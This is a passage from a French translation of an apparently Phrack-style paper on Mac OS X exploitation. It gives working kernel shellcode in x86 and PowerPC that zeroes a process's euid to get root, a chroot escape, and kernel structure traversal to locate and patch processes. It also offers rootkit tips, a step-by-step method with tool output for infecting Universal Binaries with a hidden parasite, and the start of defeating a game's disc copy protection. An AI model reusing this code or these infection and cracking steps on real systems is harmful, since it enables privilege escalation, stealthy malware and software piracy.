rlwnm. rA,rS,rB,MB,ME (Rc = 1)
,__________________________________________________________.
|10101 | S | A | B | MB | ME |Rc|
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
0 5 6 10 11 15 16 20 21 25 26 30 31
C'est l'instruction de décalage à gauche sous PowerPC. En gros, un masque
(défini par les bits MB à ME) est appliqué et le registre rS est décalé de
rB bits. Le résultat est stocké dans rA. Aucun accès mémoire n'est fait par
cette instruction, quels que soient ses arguments.
En utilisant les paramètres suivants, nous pouvons obtenir un opcode valide
et utile.
rA = 16
rS = 28
rB = 29
MB = XX
ME = XX
rlwnm r16,r28,r29,XX,XX
Ça nous fourni l'opcode suivant :
"\x5f\x90\xeb\xxx"
Quand c'est interprété comme un code Intel, on tombe sur cette instruction
:
nasm > db 0x5f,0x90,0xeb,0xXX
00000000 5F pop edi // met edi sur la pile
00000001 90 nop // ne fait rien
00000002 EBXX jmp short 0xXX // saute dans notre payload.
Voici, en exemple, comment ça peut être utile :
char trap[] =
"\x5f\x90\xeb\x06" // sélection d'architecture magique
"\x7f\xe0\x00\x08" // instruction ppc "trap"
"\xcc\xcc\xcc\xcc"; // intel: int3 int3 int3 int3
Ce shellcode, une fois exécuté sous PowerPC va exécuter la "trap"
directement après notre code sélecteur. Cependant, si c'est interprété sous
Intel, le "eb 06" cause un saut vers les instructions int3. On utilise 06
plutôt que 04 car eip pointe sur le début de l'instruction jmp elle-même
(eb) pendant l'exécution. Donc, on doit compenser en ajoutant deux octets à
la longueur de l'assembleur PowerPC.
Pour vérifier que cette technique multi-architecture fonctionne, voici la
sortie de gdb quand on l'attache sur un processus sous Intel :
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000201b in trap ()
(gdb) x/i $pc
0x201b : int3
Voici la même sortie pour une version PowerPC du binaire :
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00002018 in trap ()
(gdb) x/i $pc
0x2018 : trap
--[ 5 - Écrire des shellcode noyau
Dans cette section, nous allons regarder quelques techniques pour écrire
des shellcodes utilisés quand on exploite des vulnérabilités au niveau
noyau.
Avant de commencer, voici une paire de choses à noter. Mac OS X ne partage
pas l'espace d'adressage entre le noyau et l'utilisateur. À la fois le
noyau et l'utilisateur disposent de 4Gb d'espace d'adressage chacun (0x0 ->
0xffffffff).
Je ne me suis pas embêté à écrire du code PowerPC, car pour la plupart de
ce que j'ai fait, si vous voulez vraiment un code PowerPC, certains
concepts seront portés très vite, d'autres juste un peu moins ;)
--[ 5.1 - Escalade locale de privilèges
Le premier type de shellcode dont nous allons regarder l'écriture est pour
les vulnérabilités locales. L'objectif typique pour les shellcodes noyaux
en local est simplement l'escalade de privilèges de nos processus en mode
utilisateur.
Ce sujet a été couvert dans l'excellent papier de noir sur l'exploitation
noyau OpenBSD dans le phrack 60 [6].
Beaucoup de techniques du papier de noir s'appliquent directement à Mac OS
X. noir montre que la fonction sysctl() peut être utilisée pour retrouver
la structure kinfo_proc pour un identificateur de processus donné. Comme
vous pouvez le voir ici, l'un des membres de la structure kinfo_proc est un
pointeur vers la structure proc.
struct kinfo_proc {
struct extern_proc kp_proc; /* proc structure */
struct eproc {
struct proc *e_paddr; /* address of proc */
struct session *e_sess; /* session pointer */
struct _pcred e_pcred; /* process credentials */
struct _ucred e_ucred; /* current credentials */
struct vmspace e_vm; /* address space */
pid_t e_ppid; /* parent process id */
pid_t e_pgid; /* process group id */
short e_jobc; /* job control counter */
dev_t e_tdev; /* controlling tty dev */
pid_t e_tpgid; /* tty process group id */
struct session *e_tsess; /* tty session pointer */
#define WMESGLEN 7
char e_wmesg[WMESGLEN+1]; /* wchan message */
segsz_t e_xsize; /* text size */
short e_xrssize; /* text rss */
short e_xccount; /* text references */
short e_xswrss;
int32_t e_flag;
#define EPROC_CTTY 0x01 /* controlling tty vnode active */
#define EPROC_SLEADER 0x02 /* session leader */
#define COMAPT_MAXLOGNAME 12
char e_login[COMAPT_MAXLOGNAME];/* short setlogin() name*/
int32_t e_spare[4];
} kp_eproc;
};
Ilja van Sprundel a mentionné cette technique dans sa présentation à
Blackhat [7]. En gros, on peut utiliser l'adresse "p.kp_eproc.ep_addr" pour
accéder à la structure proc de notre processus en mémoire.
La fonction suivante retournera l'adresse d'une structure proc d'un pid
donné dans le noyau.
long get_addr(pid_t pid) {
int i, sz = sizeof(struct kinfo_proc), mib[4];
struct kinfo_proc p;
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = pid;
i = sysctl(&mib, 4, &p, &sz, 0, 0);
if (i == -1) {
perror("sysctl()");
exit(0);
}
return(p.kp_eproc.e_paddr);
}
Maintenant que nous avons l'adresse de notre structure proc, nous avons
juste à changer son uid et/ou euid dans leurs structures respectives.
Voici un extrait de la structure proc :
struct proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */
/* substructures: */
struct ucred *p_ucred; /* Process owner's identity. */
struct filedesc *p_fd; /* Ptr to open files structure. */
struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
struct plimit *p_limit; /* Process limits. */
struct sigacts *p_sigacts;
/* Signal actions, state (PROC ONLY). */
...
}
Comme vous pouvez le voir, juste après la p_list, il y a un pointeur vers
la structure ucred. Voici cette structure :
struct _ucred {
int32_t cr_ref; /* reference count */
uid_t cr_uid; /* effective user id */
short cr_ngroups; /* number of groups */
gid_t cr_groups[NGROUPS]; /* groups */
};
En changeant le champ cr_uid dans cette structure, nous pouvons attribuer
un euid à notre processus.
Le code assembleur suivant va chercher cette structure et mettra à zéro le
champ cr_uid. Ça nous laisse avec les privilèges root sur une plateforme
Intel.
SECTION .text
_main:
mov ebx, [0xdeadbeef] ;# ebx = proc address
mov ecx, [ebx + 8] ;# ecx = ucred
xor eax,eax
mov [ecx + 12], eax ;# zero out the euid
ret
Pour utiliser ce code, nous devons remplacer l'adresse "0xdeadbeef" par
l'adresse de la structure proc que nous avons regardé plus haut.
Voici un code de la présentation de Ilja van Sprundel qui fait la même
chose sous plateforme PowerPC.
int kshellcode[] = {
0x3ca0aabb, // lis r5, 0xaabb
0x60a5ccdd, // ori r5, r5, 0xccdd
0x80c5ffa8, // lwz r6, 88(r5)
0x80e60048, // lwz r7, 72(r6)
0x39000000, // li r8, 0
0x9106004c, // stw r8, 76(r6)
0x91060050, // stw r8, 80(r6)
0x91060054, // stw r8, 84(r6)
0x91060058, // stw r8, 88(r6)
0x91070004 // stw r8, 4(r7)
}
On peut combiner les deux shellcode en un architecture spanning shellcode.
C'est un processus simple et c'est documenté en section 4 de ce papier.
Le code complet du code multi-architecture est disponible en annexe.
Sur les processeurs PowerPC, XNU utiliser une optimisation appelée "user
memory windows" [ NDT : fenêtre de mémoire utilisateur]. Ceci veut dire que
l'espace d'adressage utilisateur et celui noyau partage quelques pages.
Cette conception est là pour importer/exporter. La fenêtre de mémoire
utilisateur commence typiquement à 0xe0000000 à la fois en mode noyau et
utilisateur. Ça peut être utile quand on essaye de positionner un shellcode
pour l'utiliser dans des vulnérabilités d'escalade locale de privilège.
--[ 5.2 - Casser un chroot()
Avant de regarder comment on peut sortir de processus qui ont utilisé le
syscall chroot(), nous allons voir pourquoi, la plupart du temps, nous n'en
avons pas besoin.
-[root@fry:/chroot]# touch file_outside_chroot
-[root@fry:/chroot]# ls -lsa file_outside_chroot
0 -rw-r--r-- 1 root admin 0 Jan 29 12:17 file_outside_chroot
-[root@fry:/chroot]# chroot demo /bin/sh
-[root@fry:/]# ls -lsa file_outside_chroot
ls: file_outside_chroot: No such file or directory
-[root@fry:/]# pwd
/
-[root@fry:/]# ls -lsa ../file_outside_chroot
0 -rw-r--r-- 1 root admin 0 Jan 29 20:17 ../file_outside_chroot
-[root@fry:/]# ../../usr/sbin/chroot ../../ /bin/sh
-[root@fry:/]# ls -lsa /chroot/file_outside_chroot
0 -rw-r--r-- 1 root admin 0 Jan 29 12:17 /chroot/file_outside_chroot
Comme vous pouvez le voir, la commande /usr/bin/chroot qui est livrée avec
Mac OS X ne fait pas de chdir() et donc, ne fait pas vraiment grand chose.
Les auteurs suggèrent le complément au chroot suivant dans la page de man
de Mac OS X :
"Caution: Does not work."
[NDT : Attention : Ne fonctionne pas"]
Entre parenthèses, ce patch pourrait être utile pour la man page de
setreuid().
Je ne m'attarderai pas plus sur ce sujet puisque noir a déjà couvert le
sujet très bien dans son papier [6].
En gros, noir mentionne que tout ce que nous avons besoin pour faire sortir
notre processus du chroot() est de mettre l'élément p->p_fd->fd_rdir à zéro
dans notre structure proc.
On peut obtenir l'adresse de notre structure proc en utilisant sysctl comme
mentionné plus haut.
noir fournis déjà les instruction pour ça :
mov edx,[ecx + 0x14] ;# edx = p->p_fd
mov [edx + 0xc],eax ;# p->p_fd->fd_rdir = 0
--[ 5.3 - Améliorations
Maintenant que nous sommes familier de l'écriture de shellcode dans des
exploits locaux, où nous avons déjà un accès local à la machine, le reste
du code relatif au noyau dans ce papier se concentrera sur le fait de le
faire sans avoir besoin d'accès en mode utilisateur.
Pour le faire, on peut utiliser les structures pour cpu/task/proc et les
structures de threads dans le noyau. La définition de chacune de ces
structure peut se trouver dans les répertoires osfmk/kern et bsd/sys/ dans
divers fichiers d'en-tête.
La première structure que nous allons regarder est la structure "cpu_data"
qu'on trouve dans osfmk/i386/cpu_data.h.
J'ai inclus la définition de cette structure ici :
/*
* Per-cpu data.
*
* Each processor has a per-cpu data area which is dereferenced through the
* using this, in-lines provides single-instruction access to frequently
* used members - such as get_cpu_number()/cpu_number(), and
* get_active_thread()/ current_thread().
*
* Cpu data owned by another processor can be accessed using the
* cpu_datap(cpu_number) macro which uses the cpu_data_ptr[] array of
* per-cpu pointers.
*/
typedef struct cpu_data
{
struct cpu_data *cpu_this; /* pointer to myself */
thread_t cpu_active_thread;
void *cpu_int_state; /* interrupt state */
vm_offset_t cpu_active_stack; /* kernel stack base */
vm_offset_t cpu_kernel_stack; /* kernel stack top */
vm_offset_t cpu_int_stack_top;
int cpu_preemption_level;
int cpu_simple_lock_count;
int cpu_interrupt_level;
int cpu_number; /* Logical CPU */
int cpu_phys_number; /* Physical CPU */
cpu_id_t cpu_id; /* Platform Expert */
int cpu_signals; /* IPI events */
int cpu_mcount_off; /* mcount recursion */
ast_t cpu_pending_ast;
int cpu_type;
int cpu_subtype;
int cpu_threadtype;
int cpu_running;
uint64_t rtclock_intr_deadline;
rtclock_timer_t rtclock_timer;
boolean_t cpu_is64bit;
task_map_t cpu_task_map;
addr64_t cpu_task_cr3;
addr64_t cpu_active_cr3;
addr64_t cpu_kernel_cr3;
cpu_uber_t cpu_uber;
void *cpu_chud;
void *cpu_console_buf;
struct cpu_core *cpu_core; /* cpu's parent core */
struct processor *cpu_processor;
struct cpu_pmap *cpu_pmap;
struct cpu_desc_table *cpu_desc_tablep;
struct fake_descriptor *cpu_ldtp;
cpu_desc_index_t cpu_desc_index;
int cpu_ldt;
#ifdef MACH_KDB
/* XXX Untested: */
int cpu_db_pass_thru;
vm_offset_t cpu_db_stacks;
void *cpu_kdb_saved_state;
spl_t cpu_kdb_saved_ipl;
int cpu_kdb_is_slave;
int cpu_kdb_active;
#endif /* MACH_KDB */
boolean_t cpu_iflag;
boolean_t cpu_boot_complete;
int cpu_hibernate;
pmsd pms; /* Power Management Stepper control */
uint64_t rtcPop; /* when the etimer wants a timer pop */
vm_offset_t cpu_copywindow_bas;
uint64_t *cpu_copywindow_pdp;
vm_offset_t cpu_physwindow_base;
uint64_t *cpu_physwindow_ptep;
void *cpu_hi_iss;
boolean_t cpu_tlb_invalid;
uint64_t *cpu_pmHpet;
/* Address of the HPET for this processor */
uint32_t cpu_pmHpetVec;
/* Interrupt vector for HPET for this processor */
/* Statistics */
pmStats_t cpu_pmStats;
/* Power management data */
uint32_t cpu_hwIntCnt[256]; /* Interrupt counts */
uint64_t cpu_dr7; /* debug control register */
} cpu_data_t;
Comme vous pouvez le voir, cette structure contient des informations
intéressantes pour notre shellcode qui fonctionne dans le noyau. Nous avons
juste besoin de déterminer comment y accéder.
La macro suivante montre comment on peut accéder à cette structure.
/* Macro to generate inline bodies to retrieve per-cpu data fields. */
#define offsetof(TYPE,MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
#define CPU_DATA_GET(member,type) \
type ret; \
__asm__ volatile ("movl %%gs:%P1,%0" \
: "=r" (ret) \
: "i" (offsetof(cpu_data_t,member))); \
return ret;
Quand notre code s'exécute en espace noyau, le sélecteur gz peut être
utilisé pour accéder à la structure cpu_data. Le premier élément de cette
structure contient un pointeur vers la structure elle-même, nous n'avons
donc plus besoin d'utiliser gs après cela.
Le premier objectif que nous allons regarder est la capacité à trouver le
processus init (pid=1) via cette structure. Puisque notre code pourrait
fonctionner associé à un thread utilisateur, nous ne pouvons pas compter
les structures uthread qui se trouve dans notre structure thread_t. Un
exemple de ceci pourrait être quand nous exploitons une pile réseau ou une
extension noyau.
La première étape à faire pour trouver la structure du processus init est
de retrouver le pointeur vers notre structure thread_t.
On peut le faire simplement en récupérant le pointeur à gs:0x40. Les
instructions suivantes le font :
_main:
xor ebx,ebx ;# zero ebx
mov eax,[gs:0x04 + ebx] ;# thread_t.
Après l'exécution de ces instructions, nous avons un pointeur vers
notre structure de thread dans eax. La structure de thread est définie dans
osfmk/kern/thread.h. Une partie de cette structure est montrée ici :
struct thread {
...
queue_chain_t links; /* run/wait queue links */
run_queue_t runq; /* run queue thread is on SEE BELOW */
wait_queue_t wait_queue; /* wait queue we are currently on */
event64_t wait_event; /* wait queue event */
integer_t options;/* options set by thread itself */
...
/* Data used during setrun/dispatch */
timer_data_t system_timer; /* system mode timer */
processor_set_t processor_set;/* assigned processor set */
processor_t bound_processor; /* bound to a processor? */
processor_t last_processor; /* processor last dispatched on */
uint64_t last_switch; /* time of last context switch */
...
void *uthread;
#endif
};
Cette structure, encore une fois, contient beaucoup de champs utiles pour
notre shellcode. Cependant, dans ce cas, nous essayons de trouver la
structure proc. Parce que nous pourrions ne pas avoir nécessairement déjà
un uthread qui nous soit associé, comme mentionné plus haut, nous devons
regarder ailleurs pour une liste de tâches pour localiser init (launchd).
La prochaine étape de ce processus est de retrouver l'élément
"last_processor" de la structure thread_t. Nous le faisons grâce aux
instructions suivantes :
mov bl,0xf4
mov ecx,[eax + ebx] ;# last_processor
Le pointeur last_processor pointe vers une structure de processeur, comme
son nom le suggère ;) Nous pouvons voyager à partir de la structure
last_processor vers le pset par défaut pour trouver le pset qui contient
init.
mov eax,[ecx] ;# default_pset + 0xc
On récupère alors le [task head] à partir de cette structure.
push word 0x458
pop bx
mov eax,[eax + ebx] ;# tasks head.
Et retrouvons l'élément bsd_info de la tâche. C'est un pointeur vers une
structure proc.
push word 0x19c
pop bx
mov eax,[eax + ebx] ;# get bsd_info
La structure proc est définie dans xnu/bsd/sys/proc_internal.h. Le premier
élément de la structure proc est :
LIST_ENTRY(proc) p_list; /* List of all processes. */
Nous pouvons parcourir cette liste pour trouver un processus particulier
que nous voudrions. Pour la plupart de nos codes, nous commencerons par
init (launchd sous Mac OS X). Ce processus a le pid 1.
Pour le trouver, nous parcourons simplement la liste en vérifiant le champ
pid à l'offset 36. Le code pour le faire est le suivant :
next_proc:
mov eax,[eax+4] ;# prev
mov ebx,[eax + 36] ;# pid
dec ebx
test ebx,ebx ;# if pid was 1
jnz next_proc
done:
;# eax = struct proc *init;
Maintenant que nous avons développé qui retrouve un pointeur vers la
structure proc du processus init, nous pouvons regarder les choses qu'on
peut faire grâce à ce pointeur.
La première cause que nous allons regarder est simplement la réécriture du
code de l'escalade de privilèges listée plus haut. Notre nouvelle version
de ce code ne nécessitera plus aucune aide de l'espace utilisateur (sysctl,
...).
Je pense que le code ci-dessous s'explique tout seul.
%define PID 1337
find_pid:
mov eax,[eax + 4] ;# eax = next proc
mov ebx,[eax + 36] ;# pid
cmp bx,PID
jnz find_pid
mov ecx, [eax + 8] ;# ecx = ucred
xor eax,eax
mov [ecx + 12], eax ;# met l'euid à zéro
Comme vous pouvez le voir, la structure cpu_date nous ouvre beaucoup de
possibilités pour nos shellcodes. Heureusement, j'aurai le temps de regarder
certaines dans un futur papier.
--[ 6 - Misc Rootkit Techniques
Dans cette section, je vais parcourir quelques petits bouts d'information
qui peuvent êtres adaptés à quelqu'un qui développerait un rootkit pour Mac
OS X. Je n'avais pas vraiment d'autre endroit pour mettre ces trucs, c'est
donc ici que je les ai mis.
La première chose à voir est qu'il existe une API [21] pour exécuter des
applications utilisateurs depuis le mode noyau. C'est ce qu'on appelle le
"Kernel User Notification Daemon". C'est implémenté en utilisant un port
mach que le noyau utilise pour communiquer avec un démon utilisateur qu'on
appelle kuncd.
Le fichier xnu/osfmk/UserNotification/UNDRequest.defs contient les
définitions d'interface du Mach Interface Generator (MIG) pour communiquer
avec ce démon.
Le port mach est appelé :
"com.apple.system.Kernel[UNC]Notifications" et est enregistré par le démon
/usr/libexec/kuncd.
Voici un exemple pragmatique d'utilisation de cette interface. L'interface
nous permet d'afficher des messages via le GUI vers l'utilisateur et aussi
de lancer n'importe quelle application.=
kern_return_t ret;
ret = KUNCExecute(
"/Applications/TextEdit.app/Contents/MacOS/TextEdit",
kOpenAppAsRoot,
kOpenApplicationPath
);
ret = KUNCExecute(
"Internet.prefPane",
kOpenAppAsConsoleUser,
kOpenPreferencePanel
);
Il pourrait y avoir des situations où vous voudriez que votre code
s'exécute sur tous les processeurs d'un système. Par exemple, mettre à
jours l'IDT / MSR sans avoir envie qu'un processeur rate ça.
Le noyau xnu fourni une fonction pour ça. Le commentaire et le prototype
nous en explique plus que je le pourrais; les voici :
/*
* All-CPU rendezvous [NDT : en français dans le texte] :
* - Les CPU sont signalés,
* - ils exécutent tous la fonction setup (si spécifiée),
* - rendezvous (i.e. point de synchronisation),
* - ils exécutent tous la fonction action (si spécifiée)
* - encore un rendezvous,
* - execute la fonction teardown (si spécifiée) et ensuite
* - retournent à leur tâches
*
* notez que les fonctions externes fournies _doivent_ être réentrantes
* et au courant qu'elles fonctionnent en parallèle et dans un contexte
* de verroux inconnu.
*/
void
mp_rendezvous(void (*setup_func)(void *),
void (*action_func)(void *),
void (*teardown_func)(void *),
void *arg)
{
Le code des fonctions relatives sont stockées dans xnu/osfmk/i386/mp.c.
--[ 7 - Infection de "Universal Binary format"
Le format d'objet Mach-O est utilisé sur les systèmes d'exploitation dont
le noyau est basé sur Mach. C'est le format utilisé par Mac OS X. Des
travaux significatifs ont déjà été fait sur l'infection de ce format. Les
papiers [12] et [13] en montre quelques uns. Les fichiers Mach-O peuvent
être identifiés par les quatre premiers octets du fichier qui contiennent
le "magic number" 0xfeedface.
Récemment, Mac OS X a changé de plateforme et a changé PowerPC pour Intel.
Ce changement a impliqué l'utilisation d'un nouveau format de binaires pour
la plupart des applications sous Max OS X 10.4. Le "Universal Binary
Format" est défini dans les références du Mach-O Runtime de apple[4].
Le Universal Binary format est un format d'archive vraiment trivial qui
permet de stocker plusieurs fichiers Mac-O de types d'architectures
différentes dans un seul fichier. Le chargeur sous Mac OS X est capable
d'interpréter ce fichier et de distinguer quel fichier, au sein de
l'archive, correspond à l'architecture du système. (Nous y reviendrons plus
tard.)
La structure utilisée par Mac OS X pour définir et analyser les binaires
universels se trouve dans le fichier /usr/include/mach-o/fat.h.
Les binaires universels sont reconnaissables, encore une fois, par le
"magic number" dans les premiers quatre octets du fichier. Les binaires
universels commencent par l'en-tête suivante :
struct fat_header {
uint32_t magic; /* FAT_MAGIC */
uint32_t nfat_arch; /* number of structs that follow */
};
Le magic number d'un binaire universel est comme suit :
#define FAT_MAGIC 0xcafebabe
#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
On utilise soit FAT_MAGIC ou FAT_CIGAM, en fonction de l'encodage
(big/little endian) du système.
Le champ nfat_arch de la structure contient le nombre de fichiers Mach-O
contenus dans l'archive. Entre parenthèses, si vous lui attribuez une
valeur assez grande, presque tous les outils de débuggage sous Mac OS X
vont crasher, comme c'est montré ici :
-[nemo@fry:~]$ printf "\xca\xfe\xba\xbe\x66\x66\x66\x66" > file
-[nemo@fry:~]$ otool -tv file
Segmentation fault
Pour chaque fichier Mach-O dans le binaire universel, il y a aussi une
structure fat_arch.
Cette structure est la suivante :
struct fat_arch {
cpu_type_t cputype; /* cpu specifier (int) */
cpu_subtype_t cpusubtype; /* machine specifier (int) */
uint32_t offset; /* file offset to this object file */
uint32_t size; /* size of this object file */
uint32_t align; /* alignment as a power of 2 */
};
La structure fat_arch défini le type d'architecture du fichier Mach-O,
ainsi que l'offset dans le binaire universel auquel il est stocké. Il
contient aussi l'alignement de l'architecture pour ce fichier particulier,
exprimé en puissance de 2.
Le schéma suivant décrit l'agencement d'un binaire universel typique :
._________________________________________________,
|0xcafebabe |
| struct fat_header |
|-------------------------------------------------|
| fat_arch struct #1 |------------+
|-------------------------------------------------| |
| fat_arch struct #2 |---------+ |
|-------------------------------------------------| | |
| fat_arch struct #n |------+ | |
|-------------------------------------------------|<-----------+
|0xfeedface | | |
| | | |
| Mach-O File #1 | | |
| | | |
| | | |
|-------------------------------------------------|<--------+
|0xfeedface | |
| | |
| Mach-O File #2 | |
| | |
| | |
|-------------------------------------------------|<-----+
|0xfeedface |
| |
| Mach-O file #n |
| |
| |
'-------------------------------------------------'
Vous pouvez voir ici que le fichier commence avec une structure fat_header.
Suivent ensuite les n structures fat_arch, définissant chacune l'offset
dans le fichier pour trouver le fichier Mach-O décrit par la structure.
Enfin, n fichiers Mach-O sont concaténés juste après ces structures.
Avant de continuer dans la méthode pour infecter les binaires universels,
je vais d'abord montrer comment le noyau les charge.
Le fichier xnu/bsd/kern/kern_exec.c contient le code montré dans cette
section.
D'abord, le noyau met en place un tableau de structures execsw terminé par
un NULL. Chacune contenant un pointeur de fonction vers un activateur /
analyseur d'image pour les différents types d'images, ainsi qu'une chaîne
de caractère de description pertinente.
La définition et la déclaration de ce tableau sont montrées ici :
/*
* Our image activator table; this is the table of the image types we are
* capable of loading. We list them in order of preference to ensure the
* fastest image load speed.
*
* XXX hardcoded, for now; should use linker sets
*/
struct execsw {
int (*ex_imgact)(struct image_params *);
const char *ex_name;
} execsw[] = {
{ exec_mach_imgact, "Mach-o Binary" },
{ exec_fat_imgact, "Fat Binary" },
#ifdef IMGPF_POWERPC
{ exec_powerpc32_imgact, "PowerPC binary" },
#endif /* IMGPF_POWERPC */
{ exec_shell_imgact, "Interpreter Script" },
{ NULL, NULL}
};
Le code suivant, de l'appel système execve(), appele une boucle sur les
éléments de ce tableau et appele les pointeurs de fonction pour chacune. En
lui passant un pointeur vers le début de l'image.
int
execve(struct proc *p, struct execve_args *uap, register_t *retval)
{
...
for(i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {
error = (*execsw[i].ex_imgact)(imgp);
Chacune des fonctions analyse le fichier pour déterminer si le fichier est
approprié à l'architecture. La fonction qui est responsable de l'ananlyse et
en charge de faire correspondre les binaires universels est la fonction
"exec_fat_imgact".
Voici la déclaration de cette fonction :
/*
* exec_fat_imgact
*
* Image activator for fat 1.0 binaries. If the binary is fat, then we
* need to select an image from it internally, and make that the image
* we are going to attempt to execute. At present, this consists of
* reloading the first page for the image with a first page from the
* offset location indicated by the fat header.
*
* Important: This image activator is byte order neutral.
*
* Note: If we find an encapsulated binary, we make no assertions
* about its validity; instead, we leave that up to a rescan
* for an activator to claim it, and, if it is claimed by one,
* that activator is responsible for determining validity.
*/
static int
exec_fat_imgact(struct image_params *imgp)
La première chose que cette fonction fasse est de tester le magic number au
début du fichier. Le code suivant le fait :
/* Make sure it's a fat binary */
if ((fat_header->magic != FAT_MAGIC) &&
(fat_header->magic != FAT_CIGAM)) {
error = -1;
goto bad;
}
La fonction fatfile_getarch_affinity() est alors appelée pour chercher
après un fichier Mach-O approprié au type d'architecture dans le binaire
universel.
/* Look up our preferred architecture in the fat file. */
lret = fatfile_getarch_affinity(imgp->ip_vp,
(vm_offset_t)fat_header,
&fat_arch,
(p->p_flag & P_AFFINITY));
Cette fonction est définie dans le fichier :
xnu/bsd/kern/mach_fat.c.
load_return_t
fatfile_getarch_affinity(
struct vnode *vp,
vm_offset_t data_ptr,
struct fat_arch *archret,
int affinity)
Cette fonction cherche chacun des fichiers Mach-O dans le binaire
Universel. Un hôte a une architecture primaire et secondaire. Si pendant
cette recherche, on trouve un fichier Mach-O qui correspond à
l'architecture primaire le l'hôte, on utilise ce fichier. Si, par contre,
on ne trouve pas de fichier pour l'architecture primaire, mais qu'on en
trouve un pour l'architecture secondaire, alors, on utilise celui-là. C'est
utile quand on infecte ce format.
Une fois qu'un fichier Mach-O approprié est localisé, les attributs imgp
ip_arch_offset et ip_arch_size sont mis à jours pour refléter la nouvelle
position dans le fichier.
/* Success. Indique l'identification d'un binaire encapsulé */
error = -2;
imgp->ip_arch_offset = (user_size_t)fat_arch.offset;
imgp->ip_arch_size = (user_size_t)fat_arch.size;
Après ceci, fatfile_getarch_affinity() termine simplement et laisse
execve() continuer de parcourir le tableau de structures execsw[] pour
trouver un chargeur approprié pour le nouveau fichier.
Cette logique signifie qu'il n'est pas important que le type d'architecture
du fichier corresponde à celui spécifié dans la structure fat_header dans
le binaire universel. Une fois qu'un fichier Mach-O est choisi, il sera
traité comme un binaire original.
La méthode que je propose pour infecter des binaires universels utilise ce
comportement. Voici une analyse de la méthode :
1) Déterminer l'architecture primaire et secondaire de la machine hôte.
2) Analyser la structure fat_header du binaire hôte.
3) Parcourir la structure fat_arch et localiser la structure pour le type
d'architecture secondaire.
4) Vérifier que la taille du parasite est plus petite que le fichier
Mach-O de l'architecture secondaire dans le binaire universel.
5) Copier le binaire parasite directement dans le binaire de
l'architecture secondaire dans le binaire universel.
6) trouver la structure fat_arch de l'architecture primaire.
7) Modifier le champ du type d'architecture pour qu'il vale 0xdeadbeef.
Maintenant, quand le binaire est exécuté, l'architecture primaire n'est
plus trouvée. À cause de ça, l'architecture secondaire est utilisée. Le
imgp pointe vers l'offset dans le fichier contenant notre parasite, et il
est exécuté, comme prévu. Le parasite ouvre alors son propre binaire (ce
qui est possible sous Mac OS X) et fait une recherche linéaire après
0xdeadbeef. Il modifie alors sa valeur, en lui redonnant sa valeur
originale et utilise execve() sur lui-même.
Il y a des codes d'exemples fournis avec ce papier qui démontrent cette
méthode sur architecture intel. Le code unipara.c va copier un fichier
Mach-O d'architecture Intel dans un fichier Mach-O PowerPC dans un binaire
universel. Après que l'infection ait eu lieu, la taille du fichier hôte
reste inchangée.
-[nemo@fry:~/code/unipara]$ ./unipara host parasite
-[nemo@fry:~/code/unipara]$ ./host
uid=501(nemo) gid=501(nemo)
-[nemo@fry:~/code/unipara]$ wc -c host
43028 host
-[nemo@fry:~/code/unipara]$ ./unipara parasite host
[+] Initiating infection process.
[+] Found: 2 arch structs.
[+] We are good to go, attaching parasite.
[+] parasite implanted at offset: 0x6000
[+] Switching arch types to execute our parasite.
-[nemo@fry:~/code/unipara]$ wc -c host
43028 host
-[nemo@fry:~/code/unipara]$ ./host
Hello, World!
uid=501(nemo) gid=501(nemo)
Si la résidence est nécessaire après que la payload ait été exécutée, le
parasite peut simplement faire un fork() avant de modifier son binaire. Le
processus parent peut alors faire l'execve() pendant que le fils attend et
remet l'architecture à 0xdeadbeef.
--[ 8 - Exemple de cracking - Prey
Récemment, pendant une super longue escale au LAX airport [NDT : aéroport de
Los Angeles] (l'aéroport le plus ennuyeux dans le monde entier), j'ai
décider de passer mon temps en jouant au jeu "Prey", que j'avais installé
sur mon portable.
À mon horreur, au moment où j'essayai de lancer le jeu, j'ai reçu le
message suivant :
"Please insert the disc "Prey" or press Quit."
"Veuillez insérer le disque "Prey" ou appuyer sur Quitter."
"Bitte legen Sie "Prey" ins Laufwerk ein oder klicken Sie
auf Beenden."
Puisque je n'avais rien de mieux à faire, j'ai décider de passer un peu de
temps à supprimer ce message d'erreur. La première chose que je fut, fut de
déterminer le format objet du fichier exécutable.
-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ file Prey
Prey: Mach-O universal binary with 2 architectures
Prey (for architecture ppc): Mach-O executable ppc
Prey (for architecture i386): Mach-O executable i386
L'exécutable Prey est un binaire universel contenant un binaire Mach-o pour
PowerPC et i386.
Ensuite, je lançais la commande otool -o pour déterminer si le code était
écrit en Objective-C. La sortie de cette commande montre que des segments
d'Objective-C sont présents dans le fichier.
-[nemo@largeprompt]$ otool -o Prey | head -n 5
Prey:
Objective-C segment
Module 0x27ef458
version 6
size 16
J'utilisais ensuite la commande "class-dump" [14] pour dumper les définitions
de classes depuis le fichier. Probablement la plus intéressante :
@interface DOOMController (Private)
- (void)quakeMain;
- (BOOL)checkRegCodes;
- (BOOL)checkOS;
- (BOOL)checkDVD;
@end
La plupart des jeux sous Mac OS X sont 10 ans en arrière de leurs
homologues sous Windows quand on parle de protections contre la copie.
Typiquement, les développeurs ne strippent [NDT : retirer les symboles et
autres infos lors de la compilation] pas leurs fichiers et les symboles
sont toujours présents. Grâce à ça, j'ai lancé gdb et mis un point d'arrêt
sur la fonction principale.
(gdb) break main
Breakpoint 1 at 0x96b64
Cependant, quand j'exécutais le fichier, le message d'erreur s'est affiché
avant d'atteindre mon point breakpoint dans le main. Ça m'a fait penser
qu'un constructeur devait être responsable de cette vérification.
Pour valider cette théorie, j'ai lancé la commande "otool -o" sur le
binaire pour lister les commandes load dans le fichier. (Le Mach-O Runtime
Document [4] explique très clairement les structures load_command).
Chaque section dans le fichier Mach-O a une valeur "flags" qui lui est
associée. Elle décrit le but de la section. Les valeurs possibles pour les
variables flags se trouvent dans le fichier : /usr/include/mach-o/loader.h.
La valeur qui représente une section de constructeur est définie comme suit
:
/* section with only function pointers for initialization*/
#define S_MOD_INIT_FUNC_POINTERS 0x9
